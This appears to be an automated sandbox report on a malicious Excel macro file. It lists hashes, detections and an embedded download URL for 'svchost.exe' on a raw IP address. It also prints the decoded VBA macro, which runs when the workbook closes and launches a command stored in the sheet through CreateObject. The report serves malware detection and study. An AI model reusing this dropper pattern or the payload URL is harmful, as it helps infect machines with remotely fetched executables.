Office (OOXML) malware analysis — malicious · 7ee7977849f256f5

MALICIOUS

Office (OOXML)

398.2 KB First seen: 2020-11-05

MD5: cb4075075981db95743e4925f6256be9 SHA-1: 9b443980a8a28f6c5e373725474a6b7f4b4005a6 SHA-256: 7ee7977849f256f5cdd1a935a79a14991aeedc534b6711b682458fc16133d2f1

222 Risk Score

Heuristics 5

ClamAV: Xls.Malware.Sagent-10035294-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Malware.Sagent-10035294-0
LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND

Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
VBA project inside OOXML medium 1 related finding OOXML_VBA

Document contains a VBA project — VBA macros present
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Matched line in script
```
Set umvuzxtczagujqhitbgauwjxq  = CreateObject(Range("A4").Value)
```
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://100.26.221.183/svchost.exe In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	1310 bytes
SHA-256: `1d107c3da88678a91e847cade5385fb960884770777c6c377559a17df428e109`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_BeforeClose(Cancel As Boolean) Range("A1:J15").Select Selection.Font.Bold = True Selection.Font.Italic = True Selection.Font.Underline = xlUnderlineStyleSingle pttslpajeopmtinrobvifepyq = Range("A3").Value With Selection .HorizontalAlignment = xlCenter .VerticalAlignment = xlBottom .WrapText = False .Orientation = 0 .AddIndent = False .IndentLevel = 0 .ShrinkToFit = False .ReadingOrder = xlContext .MergeCells = False End With Range("M5").Select Set umvuzxtczagujqhitbgauwjxq = CreateObject(Range("A4").Value) Dim ummkqznccxidgvqgpskiawskk ummkqznccxidgvqgpskiawskk = umvuzxtczagujqhitbgauwjxq.Create(pttslpajeopmtinrobvifepyq) End Sub Attribute VB_Name = "zllzsgbcklsztdsavyweephqw" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	5120 bytes
SHA-256: `9c29c6eef384dee835cd168b4b2d47bb61e8e60e066e6e6158a6f690d823863e`
Detection ClamAV: Xls.Malware.Sagent-10035294-0 Obfuscation or payload: unlikely

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